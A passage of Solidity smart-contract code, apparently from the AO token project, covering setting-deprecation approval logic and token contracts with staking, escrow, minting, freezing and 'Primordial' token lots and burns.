address _proposalTAOId = _settingState.proposalTAOId;
_settingState.proposalTAOId = address(0);
_settingState.lastUpdateTAOId = _proposalTAOId;
return true;
}
/**
* @dev Add setting deprecation
* @param _settingId The ID of the setting
* @param _creatorNameId The nameId that created the setting
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
* @param _newSettingId The new settingId value to route
* @param _newSettingContractAddress The address of the new setting contract to route
* @return The ID of the "Associated" setting deprecation
* @return The ID of the "Creator" setting deprecation
*/
function addDeprecation(uint256 _settingId, address _creatorNameId, address _creatorTAOId, address _associatedTAOId, uint256 _newSettingId, address _newSettingContractAddress) public inWhitelist returns (bytes32, bytes32) {
require (_storeSettingDeprecation(_settingId, _creatorNameId, _creatorTAOId, _associatedTAOId, _newSettingId, _newSettingContractAddress));
// Store the associatedTAOSettingDeprecation info
bytes32 _associatedTAOSettingDeprecationId = keccak256(abi.encodePacked(this, _associatedTAOId, _settingId));
AssociatedTAOSettingDeprecation storage _associatedTAOSettingDeprecation = associatedTAOSettingDeprecations[_associatedTAOSettingDeprecationId];
_associatedTAOSettingDeprecation.associatedTAOSettingDeprecationId = _associatedTAOSettingDeprecationId;
_associatedTAOSettingDeprecation.associatedTAOId = _associatedTAOId;
_associatedTAOSettingDeprecation.settingId = _settingId;
// Store the creatorTAOSettingDeprecation info
bytes32 _creatorTAOSettingDeprecationId = keccak256(abi.encodePacked(this, _creatorTAOId, _settingId));
CreatorTAOSettingDeprecation storage _creatorTAOSettingDeprecation = creatorTAOSettingDeprecations[_creatorTAOSettingDeprecationId];
_creatorTAOSettingDeprecation.creatorTAOSettingDeprecationId = _creatorTAOSettingDeprecationId;
_creatorTAOSettingDeprecation.creatorTAOId = _creatorTAOId;
_creatorTAOSettingDeprecation.settingId = _settingId;
return (_associatedTAOSettingDeprecationId, _creatorTAOSettingDeprecationId);
}
/**
* @dev Get Setting Deprecation info of a setting ID
* @param _settingId The ID of the setting
*/
function getSettingDeprecation(uint256 _settingId) public view returns (uint256, address, address, address, bool, bool, bool, bool, uint256, uint256, address, address) {
SettingDeprecation memory _settingDeprecation = settingDeprecations[_settingId];
return (
_settingDeprecation.settingId,
_settingDeprecation.creatorNameId,
_settingDeprecation.creatorTAOId,
_settingDeprecation.associatedTAOId,
_settingDeprecation.pendingDeprecated,
_settingDeprecation.locked,
_settingDeprecation.rejected,
_settingDeprecation.migrated,
_settingDeprecation.pendingNewSettingId,
_settingDeprecation.newSettingId,
_settingDeprecation.pendingNewSettingContractAddress,
_settingDeprecation.newSettingContractAddress
);
}
/**
* @dev Get Associated TAO Setting Deprecation info
* @param _associatedTAOSettingDeprecationId The ID of the associated tao setting deprecation
*/
function getAssociatedTAOSettingDeprecation(bytes32 _associatedTAOSettingDeprecationId) public view returns (bytes32, address, uint256) {
AssociatedTAOSettingDeprecation memory _associatedTAOSettingDeprecation = associatedTAOSettingDeprecations[_associatedTAOSettingDeprecationId];
return (
_associatedTAOSettingDeprecation.associatedTAOSettingDeprecationId,
_associatedTAOSettingDeprecation.associatedTAOId,
_associatedTAOSettingDeprecation.settingId
);
}
/**
* @dev Get Creator TAO Setting Deprecation info
* @param _creatorTAOSettingDeprecationId The ID of the creator tao setting deprecation
*/
function getCreatorTAOSettingDeprecation(bytes32 _creatorTAOSettingDeprecationId) public view returns (bytes32, address, uint256) {
CreatorTAOSettingDeprecation memory _creatorTAOSettingDeprecation = creatorTAOSettingDeprecations[_creatorTAOSettingDeprecationId];
return (
_creatorTAOSettingDeprecation.creatorTAOSettingDeprecationId,
_creatorTAOSettingDeprecation.creatorTAOId,
_creatorTAOSettingDeprecation.settingId
);
}
/**
* @dev Advocate of SettingDeprecation's _associatedTAOId approves deprecation
* @param _settingId The ID of the setting to approve
* @param _associatedTAOAdvocate The advocate of the associated TAO
* @param _approved Whether to approve or reject
* @return true on success
*/
function approveDeprecation(uint256 _settingId, address _associatedTAOAdvocate, bool _approved) public inWhitelist returns (bool) {
// Make sure setting exists and needs approval
SettingDeprecation storage _settingDeprecation = settingDeprecations[_settingId];
require (_settingDeprecation.settingId == _settingId &&
_settingDeprecation.migrated == false &&
_settingDeprecation.pendingDeprecated == true &&
_settingDeprecation.locked == true &&
_settingDeprecation.rejected == false &&
_associatedTAOAdvocate != address(0) &&
_associatedTAOAdvocate == _nameTAOPosition.getAdvocate(_settingDeprecation.associatedTAOId)
);
if (_approved) {
// Unlock the setting so that advocate of creatorTAOId can finalize the creation
_settingDeprecation.locked = false;
} else {
// Reject the setting
_settingDeprecation.pendingDeprecated = false;
_settingDeprecation.rejected = true;
}
return true;
}
/**
* @dev Advocate of SettingDeprecation's _creatorTAOId finalizes the deprecation once the setting deprecation is approved
* @param _settingId The ID of the setting to be finalized
* @param _creatorTAOAdvocate The advocate of the creator TAO
* @return true on success
*/
function finalizeDeprecation(uint256 _settingId, address _creatorTAOAdvocate) public inWhitelist returns (bool) {
// Make sure setting exists and needs approval
SettingDeprecation storage _settingDeprecation = settingDeprecations[_settingId];
require (_settingDeprecation.settingId == _settingId &&
_settingDeprecation.migrated == false &&
_settingDeprecation.pendingDeprecated == true &&
_settingDeprecation.locked == false &&
_settingDeprecation.rejected == false &&
_creatorTAOAdvocate != address(0) &&
_creatorTAOAdvocate == _nameTAOPosition.getAdvocate(_settingDeprecation.creatorTAOId)
);
// Update the setting data
_settingDeprecation.pendingDeprecated = false;
_settingDeprecation.locked = true;
_settingDeprecation.migrated = true;
uint256 _newSettingId = _settingDeprecation.pendingNewSettingId;
_settingDeprecation.pendingNewSettingId = 0;
_settingDeprecation.newSettingId = _newSettingId;
address _newSettingContractAddress = _settingDeprecation.pendingNewSettingContractAddress;
_settingDeprecation.pendingNewSettingContractAddress = address(0);
_settingDeprecation.newSettingContractAddress = _newSettingContractAddress;
return true;
}
/**
* @dev Check if a setting exist and not rejected
* @param _settingId The ID of the setting
* @return true if exist. false otherwise
*/
function settingExist(uint256 _settingId) public view returns (bool) {
SettingData memory _settingData = settingDatas[_settingId];
return (_settingData.settingId == _settingId && _settingData.rejected == false);
}
/**
* @dev Get the latest ID of a deprecated setting, if exist
* @param _settingId The ID of the setting
* @return The latest setting ID
*/
function getLatestSettingId(uint256 _settingId) public view returns (uint256) {
(,,,,,,, bool _migrated,, uint256 _newSettingId,,) = getSettingDeprecation(_settingId);
while (_migrated && _newSettingId > 0) {
_settingId = _newSettingId;
(,,,,,,, _migrated,, _newSettingId,,) = getSettingDeprecation(_settingId);
}
return _settingId;
}
/***** Internal Method *****/
/**
* @dev Store setting data/state
* @param _settingId The ID of the setting
* @param _creatorNameId The nameId that created the setting
* @param _settingType The type of this setting. 1 => uint256, 2 => bool, 3 => address, 4 => bytes32, 5 => string
* @param _settingName The human-readable name of the setting
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
* @param _extraData Catch-all string value to be stored if exist
* @return true on success
*/
function _storeSettingDataState(uint256 _settingId, address _creatorNameId, uint8 _settingType, string _settingName, address _creatorTAOId, address _associatedTAOId, string _extraData) internal returns (bool) {
// Store setting data
SettingData storage _settingData = settingDatas[_settingId];
_settingData.settingId = _settingId;
_settingData.creatorNameId = _creatorNameId;
_settingData.creatorTAOId = _creatorTAOId;
_settingData.associatedTAOId = _associatedTAOId;
_settingData.settingName = _settingName;
_settingData.settingType = _settingType;
_settingData.pendingCreate = true;
_settingData.locked = true;
_settingData.settingDataJSON = _extraData;
// Store setting state
SettingState storage _settingState = settingStates[_settingId];
_settingState.settingId = _settingId;
return true;
}
/**
* @dev Store setting deprecation
* @param _settingId The ID of the setting
* @param _creatorNameId The nameId that created the setting
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
* @param _newSettingId The new settingId value to route
* @param _newSettingContractAddress The address of the new setting contract to route
* @return true on success
*/
function _storeSettingDeprecation(uint256 _settingId, address _creatorNameId, address _creatorTAOId, address _associatedTAOId, uint256 _newSettingId, address _newSettingContractAddress) internal returns (bool) {
// Make sure this setting exists
require (settingDatas[_settingId].creatorNameId != address(0) && settingDatas[_settingId].rejected == false && settingDatas[_settingId].pendingCreate == false);
// Make sure deprecation is not yet exist for this setting Id
require (settingDeprecations[_settingId].creatorNameId == address(0));
// Make sure newSettingId exists
require (settingDatas[_newSettingId].creatorNameId != address(0) && settingDatas[_newSettingId].rejected == false && settingDatas[_newSettingId].pendingCreate == false);
// Make sure the settingType matches
require (settingDatas[_settingId].settingType == settingDatas[_newSettingId].settingType);
// Store setting deprecation info
SettingDeprecation storage _settingDeprecation = settingDeprecations[_settingId];
_settingDeprecation.settingId = _settingId;
_settingDeprecation.creatorNameId = _creatorNameId;
_settingDeprecation.creatorTAOId = _creatorTAOId;
_settingDeprecation.associatedTAOId = _associatedTAOId;
_settingDeprecation.pendingDeprecated = true;
_settingDeprecation.locked = true;
_settingDeprecation.pendingNewSettingId = _newSettingId;
_settingDeprecation.pendingNewSettingContractAddress = _newSettingContractAddress;
return true;
}
}
/**
* @title AOTokenInterface
*/
contract AOTokenInterface is TheAO, TokenERC20 {
using SafeMath for uint256;
// To differentiate denomination of AO
uint256 public powerOfTen;
/***** NETWORK TOKEN VARIABLES *****/
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public stakedBalance;
mapping (address => uint256) public escrowedBalance;
// This generates a public event on the blockchain that will notify clients
event FrozenFunds(address target, bool frozen);
event Stake(address indexed from, uint256 value);
event Unstake(address indexed from, uint256 value);
event Escrow(address indexed from, address indexed to, uint256 value);
event Unescrow(address indexed from, uint256 value);
/**
* @dev Constructor function
*/
constructor(uint256 initialSupply, string tokenName, string tokenSymbol)
TokenERC20(initialSupply, tokenName, tokenSymbol) public {
powerOfTen = 0;
decimals = 0;
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev Prevent/Allow target from sending & receiving tokens
* @param target Address to be frozen
* @param freeze Either to freeze it or not
*/
function freezeAccount(address target, bool freeze) public onlyTheAO {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/**
* @dev Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
* @param newSellPrice Price users can sell to the contract
* @param newBuyPrice Price users can buy from the contract
*/
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) public onlyTheAO {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/***** NETWORK TOKEN WHITELISTED ADDRESS ONLY METHODS *****/
/**
* @dev Create `mintedAmount` tokens and send it to `target`
* @param target Address to receive the tokens
* @param mintedAmount The amount of tokens it will receive
* @return true on success
*/
function mintToken(address target, uint256 mintedAmount) public inWhitelist returns (bool) {
_mintToken(target, mintedAmount);
return true;
}
/**
* @dev Stake `_value` tokens on behalf of `_from`
* @param _from The address of the target
* @param _value The amount to stake
* @return true on success
*/
function stakeFrom(address _from, uint256 _value) public inWhitelist returns (bool) {
require (balanceOf[_from] >= _value); // Check if the targeted balance is enough
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
stakedBalance[_from] = stakedBalance[_from].add(_value); // Add to the targeted staked balance
emit Stake(_from, _value);
return true;
}
/**
* @dev Unstake `_value` tokens on behalf of `_from`
* @param _from The address of the target
* @param _value The amount to unstake
* @return true on success
*/
function unstakeFrom(address _from, uint256 _value) public inWhitelist returns (bool) {
require (stakedBalance[_from] >= _value); // Check if the targeted staked balance is enough
stakedBalance[_from] = stakedBalance[_from].sub(_value); // Subtract from the targeted staked balance
balanceOf[_from] = balanceOf[_from].add(_value); // Add to the targeted balance
emit Unstake(_from, _value);
return true;
}
/**
* @dev Store `_value` from `_from` to `_to` in escrow
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value The amount of network tokens to put in escrow
* @return true on success
*/
function escrowFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool) {
require (balanceOf[_from] >= _value); // Check if the targeted balance is enough
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
escrowedBalance[_to] = escrowedBalance[_to].add(_value); // Add to the targeted escrowed balance
emit Escrow(_from, _to, _value);
return true;
}
/**
* @dev Create `mintedAmount` tokens and send it to `target` escrow balance
* @param target Address to receive the tokens
* @param mintedAmount The amount of tokens it will receive in escrow
*/
function mintTokenEscrow(address target, uint256 mintedAmount) public inWhitelist returns (bool) {
escrowedBalance[target] = escrowedBalance[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Escrow(this, target, mintedAmount);
return true;
}
/**
* @dev Release escrowed `_value` from `_from`
* @param _from The address of the sender
* @param _value The amount of escrowed network tokens to be released
* @return true on success
*/
function unescrowFrom(address _from, uint256 _value) public inWhitelist returns (bool) {
require (escrowedBalance[_from] >= _value); // Check if the targeted escrowed balance is enough
escrowedBalance[_from] = escrowedBalance[_from].sub(_value); // Subtract from the targeted escrowed balance
balanceOf[_from] = balanceOf[_from].add(_value); // Add to the targeted balance
emit Unescrow(_from, _value);
return true;
}
/**
*
* @dev Whitelisted address remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function whitelistBurnFrom(address _from, uint256 _value) public inWhitelist returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
/**
* @dev Whitelisted address transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function whitelistTransferFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool success) {
_transfer(_from, _to, _value);
return true;
}
/***** PUBLIC METHODS *****/
/**
* @dev Buy tokens from contract by sending ether
*/
function buy() public payable {
require (buyPrice > 0);
uint256 amount = msg.value.div(buyPrice);
_transfer(this, msg.sender, amount);
}
/**
* @dev Sell `amount` tokens to contract
* @param amount The amount of tokens to be sold
*/
function sell(uint256 amount) public {
require (sellPrice > 0);
address myAddress = this;
require (myAddress.balance >= amount.mul(sellPrice));
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount.mul(sellPrice));
}
/***** INTERNAL METHODS *****/
/**
* @dev Send `_value` tokens from `_from` to `_to`
* @param _from The address of sender
* @param _to The address of the recipient
* @param _value The amount to send
*/
function _transfer(address _from, address _to, uint256 _value) internal {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows
require (!frozenAccount[_from]); // Check if sender is frozen
require (!frozenAccount[_to]); // Check if recipient is frozen
uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* @dev Create `mintedAmount` tokens and send it to `target`
* @param target Address to receive the tokens
* @param mintedAmount The amount of tokens it will receive
*/
function _mintToken(address target, uint256 mintedAmount) internal {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
}
/**
* @title AOToken
*/
contract AOToken is AOTokenInterface {
using SafeMath for uint256;
address public settingTAOId;
address public aoSettingAddress;
// AO Dev Team addresses to receive Primordial/Network Tokens
address public aoDevTeam1 = 0x5C63644D01Ba385eBAc5bcf2DDc1e6dBC1182b52;
address public aoDevTeam2 = 0x156C79bf4347D1891da834Ea30662A14177CbF28;
AOSetting internal _aoSetting;
/***** PRIMORDIAL TOKEN VARIABLES *****/
uint256 public primordialTotalSupply;
uint256 public primordialTotalBought;
uint256 public primordialSellPrice;
uint256 public primordialBuyPrice;
// Total available primordial token for sale 1,125,899,906,842,620 AO+
uint256 constant public TOTAL_PRIMORDIAL_FOR_SALE = 1125899906842620;
mapping (address => uint256) public primordialBalanceOf;
mapping (address => mapping (address => uint256)) public primordialAllowance;
// Mapping from owner's lot weighted multiplier to the amount of staked tokens
mapping (address => mapping (uint256 => uint256)) public primordialStakedBalance;
event PrimordialTransfer(address indexed from, address indexed to, uint256 value);
event PrimordialApproval(address indexed _owner, address indexed _spender, uint256 _value);
event PrimordialBurn(address indexed from, uint256 value);
event PrimordialStake(address indexed from, uint256 value, uint256 weightedMultiplier);
event PrimordialUnstake(address indexed from, uint256 value, uint256 weightedMultiplier);
uint256 public totalLots;
uint256 public totalBurnLots;
uint256 public totalConvertLots;
bool public networkExchangeEnded;
/**
* Stores Lot creation data (during network exchange)
*/
struct Lot {
bytes32 lotId;
uint256 multiplier; // This value is in 10^6, so 1000000 = 1
address lotOwner;
uint256 tokenAmount;
}
/**
* Struct to store info when account burns primordial token
*/
struct BurnLot {
bytes32 burnLotId;
address lotOwner;
uint256 tokenAmount;
}
/**
* Struct to store info when account converts network token to primordial token
*/
struct ConvertLot {
bytes32 convertLotId;
address lotOwner;
uint256 tokenAmount;
}
// Mapping from Lot ID to Lot object
mapping (bytes32 => Lot) internal lots;
// Mapping from Burn Lot ID to BurnLot object
mapping (bytes32 => BurnLot) internal burnLots;
// Mapping from Convert Lot ID to ConvertLot object
mapping (bytes32 => ConvertLot) internal convertLots;
// Mapping from owner to list of owned lot IDs
mapping (address => bytes32[]) internal ownedLots;
// Mapping from owner to list of owned burn lot IDs
mapping (address => bytes32[]) internal ownedBurnLots;
// Mapping from owner to list of owned convert lot IDs
mapping (address => bytes32[]) internal ownedConvertLots;
// Mapping from owner to his/her current weighted multiplier
mapping (address => uint256) internal ownerWeightedMultiplier;
// Mapping from owner to his/her max multiplier (multiplier of account's first Lot)
mapping (address => uint256) internal ownerMaxMultiplier;
// Event to be broadcasted to public when a lot is created
// multiplier value is in 10^6 to account for 6 decimal points
event LotCreation(address indexed lotOwner, bytes32 indexed lotId, uint256 multiplier, uint256 primordialTokenAmount, uint256 networkTokenBonusAmount);
// Event to be broadcasted to public when burn lot is created (when account burns primordial tokens)
event BurnLotCreation(address indexed lotOwner, bytes32 indexed burnLotId, uint256 burnTokenAmount, uint256 multiplierAfterBurn);
// Event to be broadcasted to public when convert lot is created (when account convert network tokens to primordial tokens)
event ConvertLotCreation(address indexed lotOwner, bytes32 indexed convertLotId, uint256 convertTokenAmount, uint256 multiplierAfterBurn);
/**
* @dev Constructor function
*/
constructor(uint256 initialSupply, string tokenName, string tokenSymbol, address _settingTAOId, address _aoSettingAddress)
AOTokenInterface(initialSupply, tokenName, tokenSymbol) public {
settingTAOId = _settingTAOId;
aoSettingAddress = _aoSettingAddress;
_aoSetting = AOSetting(_aoSettingAddress);
powerOfTen = 0;
decimals = 0;
setPrimordialPrices(0, 10000); // Set Primordial buy price to 10000 Wei/token
}
/**
* @dev Checks if buyer can buy primordial token
*/
modifier canBuyPrimordial(uint256 _sentAmount) {
require (networkExchangeEnded == false && primordialTotalBought < TOTAL_PRIMORDIAL_FOR_SALE && primordialBuyPrice > 0 && _sentAmount > 0);
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev Set AO Dev team addresses to receive Primordial/Network tokens during network exchange
* @param _aoDevTeam1 The first AO dev team address
* @param _aoDevTeam2 The second AO dev team address
*/
function setAODevTeamAddresses(address _aoDevTeam1, address _aoDevTeam2) public onlyTheAO {
aoDevTeam1 = _aoDevTeam1;
aoDevTeam2 = _aoDevTeam2;
}
/***** PRIMORDIAL TOKEN The AO ONLY METHODS *****/
/**
* @dev Allow users to buy Primordial tokens for `newBuyPrice` eth and sell Primordial tokens for `newSellPrice` eth
* @param newPrimordialSellPrice Price users can sell to the contract
* @param newPrimordialBuyPrice Price users can buy from the contract
*/
function setPrimordialPrices(uint256 newPrimordialSellPrice, uint256 newPrimordialBuyPrice) public onlyTheAO {
primordialSellPrice = newPrimordialSellPrice;
primordialBuyPrice = newPrimordialBuyPrice;
}
/***** PRIMORDIAL TOKEN WHITELISTED ADDRESS ONLY METHODS *****/
/**
* @dev Stake `_value` Primordial tokens at `_weightedMultiplier ` multiplier on behalf of `_from`
* @param _from The address of the target
* @param _value The amount of Primordial tokens to stake
* @param _weightedMultiplier The weighted multiplier of the Primordial tokens
* @return true on success
*/
function stakePrimordialTokenFrom(address _from, uint256 _value, uint256 _weightedMultiplier) public inWhitelist returns (bool) {
// Check if the targeted balance is enough
require (primordialBalanceOf[_from] >= _value);
// Make sure the weighted multiplier is the same as account's current weighted multiplier
require (_weightedMultiplier == ownerWeightedMultiplier[_from]);
// Subtract from the targeted balance
primordialBalanceOf[_from] = primordialBalanceOf[_from].sub(_value);
// Add to the targeted staked balance
primordialStakedBalance[_from][_weightedMultiplier] = primordialStakedBalance[_from][_weightedMultiplier].add(_value);
emit PrimordialStake(_from, _value, _weightedMultiplier);
return true;
}
/**
* @dev Unstake `_value` Primordial tokens at `_weightedMultiplier` on behalf of `_from`
* @param _from The address of the target
* @param _value The amount to unstake
* @param _weightedMultiplier The weighted multiplier of the Primordial tokens
* @return true on success
*/
function unstakePrimordialTokenFrom(address _from, uint256 _value, uint256 _weightedMultiplier) public inWhitelist returns (bool) {
// Check if the targeted staked balance is enough
require (primordialStakedBalance[_from][_weightedMultiplier] >= _value);
// Subtract from the targeted staked balance
primordialStakedBalance[_from][_weightedMultiplier] = primordialStakedBalance[_from][_weightedMultiplier].sub(_value);
// Add to the targeted balance
primordialBalanceOf[_from] = primordialBalanceOf[_from].add(_value);
emit PrimordialUnstake(_from, _value, _weightedMultiplier);
return true;
}
/**
* @dev Send `_value` primordial tokens to `_to` on behalf of `_from`
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value The amount to send
* @return true on success
*/
function whitelistTransferPrimordialTokenFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool) {
bytes32 _createdLotId = _createWeightedMultiplierLot(_to, _value, ownerWeightedMultiplier[_from]);
Lot memory _lot = lots[_createdLotId];
// Make sure the new lot is created successfully
require (_lot.lotOwner == _to);
// Update the weighted multiplier of the recipient
ownerWeightedMultiplier[_to] = AOLibrary.calculateWeightedMultiplier(ownerWeightedMultiplier[_to], primordialBalanceOf[_to], ownerWeightedMultiplier[_from], _value);
// Transfer the Primordial tokens
require (_transferPrimordialToken(_from, _to, _value));
emit LotCreation(_lot.lotOwner, _lot.lotId, _lot.multiplier, _lot.tokenAmount, 0);
return true;
}
/***** PUBLIC METHODS *****/
/***** Primordial TOKEN PUBLIC METHODS *****/
/**
* @dev Buy Primordial tokens from contract by sending ether
*/
function buyPrimordialToken() public payable canBuyPrimordial(msg.value) {
(uint256 tokenAmount, uint256 remainderBudget, bool shouldEndNetworkExchange) = _calculateTokenAmountAndRemainderBudget(msg.value);
require (tokenAmount > 0);
// Ends network exchange if necessary
if (shouldEndNetworkExchange) {
networkExchangeEnded = true;
}
// Send the primordial token to buyer and reward AO devs
_sendPrimordialTokenAndRewardDev(tokenAmount, msg.sender);
// Send remainder budget back to buyer if exist
if (remainderBudget > 0) {
msg.sender.transfer(remainderBudget);
}
}
/**
* @dev Send `_value` Primordial tokens to `_to` from your account
* @param _to The address of the recipient
* @param _value The amount to send
* @return true on success
*/
function transferPrimordialToken(address _to, uint256 _value) public returns (bool success) {
bytes32 _createdLotId = _createWeightedMultiplierLot(_to, _value, ownerWeightedMultiplier[msg.sender]);
Lot memory _lot = lots[_createdLotId];
// Make sure the new lot is created successfully
require (_lot.lotOwner == _to);
// Update the weighted multiplier of the recipient
ownerWeightedMultiplier[_to] = AOLibrary.calculateWeightedMultiplier(ownerWeightedMultiplier[_to], primordialBalanceOf[_to], ownerWeightedMultiplier[msg.sender], _value);
// Transfer the Primordial tokens
require (_transferPrimordialToken(msg.sender, _to, _value));
emit LotCreation(_lot.lotOwner, _lot.lotId, _lot.multiplier, _lot.tokenAmount, 0);
return true;
}
/**
* @dev Send `_value` Primordial tokens to `_to` from `_from`
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value The amount to send
* @return true on success
*/
function transferPrimordialTokenFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require (_value <= primordialAllowance[_from][msg.sender]);
primordialAllowance[_from][msg.sender] = primordialAllowance[_from][msg.sender].sub(_value);
bytes32 _createdLotId = _createWeightedMultiplierLot(_to, _value, ownerWeightedMultiplier[_from]);
Lot memory _lot = lots[_createdLotId];
// Make sure the new lot is created successfully
require (_lot.lotOwner == _to);
// Update the weighted multiplier of the recipient
ownerWeightedMultiplier[_to] = AOLibrary.calculateWeightedMultiplier(ownerWeightedMultiplier[_to], primordialBalanceOf[_to], ownerWeightedMultiplier[_from], _value);
// Transfer the Primordial tokens
require (_transferPrimordialToken(_from, _to, _value));
emit LotCreation(_lot.lotOwner, _lot.lotId, _lot.multiplier, _lot.tokenAmount, 0);
return true;
}
/**
* @dev Allows `_spender` to spend no more than `_value` Primordial tokens in your behalf
* @param _spender The address authorized to spend
* @param _value The max amount they can spend
* @return true on success
*/
function approvePrimordialToken(address _spender, uint256 _value) public returns (bool success) {
primordialAllowance[msg.sender][_spender] = _value;
emit PrimordialApproval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Allows `_spender` to spend no more than `_value` Primordial tokens in your behalf, and then ping the contract about it
* @param _spender The address authorized to spend
* @param _value The max amount they can spend
* @param _extraData some extra information to send to the approved contract
* @return true on success
*/
function approvePrimordialTokenAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approvePrimordialToken(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* @dev Remove `_value` Primordial tokens from the system irreversibly
* and re-weight the account's multiplier after burn
* @param _value The amount to burn
* @return true on success
*/
function burnPrimordialToken(uint256 _value) public returns (bool success) {
require (primordialBalanceOf[msg.sender] >= _value);
require (calculateMaximumBurnAmount(msg.sender) >= _value);
// Update the account's multiplier
ownerWeightedMultiplier[msg.sender] = calculateMultiplierAfterBurn(msg.sender, _value);
primordialBalanceOf[msg.sender] = primordialBalanceOf[msg.sender].sub(_value);
primordialTotalSupply = primordialTotalSupply.sub(_value);
// Store burn lot info
_createBurnLot(msg.sender, _value);
emit PrimordialBurn(msg.sender, _value);
return true;
}
/**
* @dev Remove `_value` Primordial tokens from the system irreversibly on behalf of `_from`
* and re-weight `_from`'s multiplier after burn
* @param _from The address of sender
* @param _value The amount to burn
* @return true on success
*/
function burnPrimordialTokenFrom(address _from, uint256 _value) public returns (bool success) {
require (primordialBalanceOf[_from] >= _value);
require (primordialAllowance[_from][msg.sender] >= _value);
require (calculateMaximumBurnAmount(_from) >= _value);
// Update `_from`'s multiplier
ownerWeightedMultiplier[_from] = calculateMultiplierAfterBurn(_from, _value);
primordialBalanceOf[_from] = primordialBalanceOf[_from].sub(_value);
primordialAllowance[_from][msg.sender] = primordialAllowance[_from][msg.sender].sub(_value);
primordialTotalSupply = primordialTotalSupply.sub(_value);
// Store burn lot info
_createBurnLot(_from, _value);
emit PrimordialBurn(_from, _value);
return true;
}
/**
* @dev Return all lot IDs owned by an address
* @param _lotOwner The address of the lot owner
* @return array of lot IDs
*/
function lotIdsByAddress(address _lotOwner) public view returns (bytes32[]) {
return ownedLots[_lotOwner];
}
/**
* @dev Return the total lots owned by an address
* @param _lotOwner The address of the lot owner
* @return total lots owner by the address
*/
function totalLotsByAddress(address _lotOwner) public view returns (uint256) {
return ownedLots[_lotOwner].length;
}
/**
* @dev Return the lot information at a given index of the lots list of the requested owner
* @param _lotOwner The address owning the lots list to be accessed
* @param _index uint256 representing the index to be accessed of the requested lots list
* @return id of the lot
* @return The address of the lot owner
* @return multiplier of the lot in (10 ** 6)
* @return Primordial token amount in the lot
*/
function lotOfOwnerByIndex(address _lotOwner, uint256 _index) public view returns (bytes32, address, uint256, uint256) {
require (_index < ownedLots[_lotOwner].length);
Lot memory _lot = lots[ownedLots[_lotOwner][_index]];
return (_lot.lotId, _lot.lotOwner, _lot.multiplier, _lot.tokenAmount);
}
/**
* @dev Return the lot information at a given ID
* @param _lotId The lot ID in question
* @return id of the lot
* @return The lot owner address
* @return multiplier of the lot in (10 ** 6)
* @return Primordial token amount in the lot
*/
function lotById(bytes32 _lotId) public view returns (bytes32, address, uint256, uint256) {
Lot memory _lot = lots[_lotId];
return (_lot.lotId, _lot.lotOwner, _lot.multiplier, _lot.tokenAmount);
}
/**
* @dev Return all Burn Lot IDs owned by an address
* @param _lotOwner The address of the burn lot owner
* @return array of Burn Lot IDs
*/
function burnLotIdsByAddress(address _lotOwner) public view returns (bytes32[]) {
return ownedBurnLots[_lotOwner];
}
/**
* @dev Return the total burn lots owned by an address
* @param _lotOwner The address of the burn lot owner
* @return total burn lots owner by the address
*/
